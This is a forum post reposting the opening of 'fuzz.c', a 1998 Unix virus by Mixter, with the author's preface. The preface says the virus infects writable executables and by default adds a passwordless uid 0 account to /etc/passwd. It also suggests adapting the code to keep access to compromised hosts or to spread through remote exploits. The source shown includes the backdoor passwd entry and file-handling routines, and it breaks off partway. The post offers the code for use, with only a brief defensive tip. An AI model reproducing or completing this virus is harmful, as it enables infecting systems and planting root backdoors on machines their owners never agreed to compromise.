[Troll] Windows, Linux et Mac OS X

Code :
/* [ http://www.rootshell.com/ ] */



/* The module infector for Linux kernels published recently on rootshell

inspired me to take a look at some old code, that was able to spawn

itself on a FreeBSD host and run arbitary commands as root as soon

as one infected file was run by root. This is more or less the same

principle like the "bliss" virus, however I never managed to get the

sources for that one. This virus is *really* simple, it searches for

files with write permission by brute force trying to infect files. It will

then infect the file with arbitary code and mark it as infected.

The default "malicious" action is to add a uid 0 user to /etc/passwd.

This source can be freely modified to do anything else. I figured out

that this could for example help someone keeping who rooted a box...

another use would be to put in something like in ADMw0rm - for example

a remote buffer overflow or a remote NFS scanner that scans for remote

holes when the virus is running and gives remote root to infect other

systems.



PATCH: chattr +i your executables maybe and NEVER EXECUTE

UNCHECKED BINARIES AS ROOT :)



Mixter



--- 8< --- cut --- 8< --- cut --- 8< --- */



/* fuzz.c - example of a Unix Virus

 * written in July 1998 by Mixter <mixter@gmx.net>

 * works on: Linux 1.x, Linux 2.x, FreeBSD 2.x

 * possibly works on: Any BSD, SunOS, HPUX, IRIX

 * parts of the source code copyright by "American Eagle Publications"

 * this virus does NOT need root, but it would help a lot :) */



#include <stdio.h>

#include <sys/types.h>

#include <dirent.h>

#include <sys/stat.h>

DIR *dirp;                            /* directory search structure */

struct dirent *dp;                    /* directory entry record */

struct stat st;                       /* file status record */

int stst;                             /* status-call status */

FILE *host,*virus, *pwf;              /* host/virus/passwd file */

long FileID;                          /* 1st 4 bytes of host */

char buf[512];                        /* buffer for disk reads/writes */

char *lc,*ld;                         /* used to search for virus */

size_t amt_read,hst_size;             /* amount read from file, host size */

size_t vir_size=13264;                /* size of virus, in bytes */

char dirname[10];                     /* subdir where virus stores itself */

char hst[512];



/* line being added to /etc/passwd */

char mixter[]="mixter::0:0:root:/:/bin/sh";



void readline() {

  lc=&buf[1];

  buf[0]=0;

  while (*(lc-1)!=10) {

    fread(lc,1,1,pwf);

    lc++;

    }

  }



void writeline() {

  lc=&buf[1];

  while (*(lc-1)!=10) {

    fwrite(lc,1,1,host);

    lc++;

    }

  }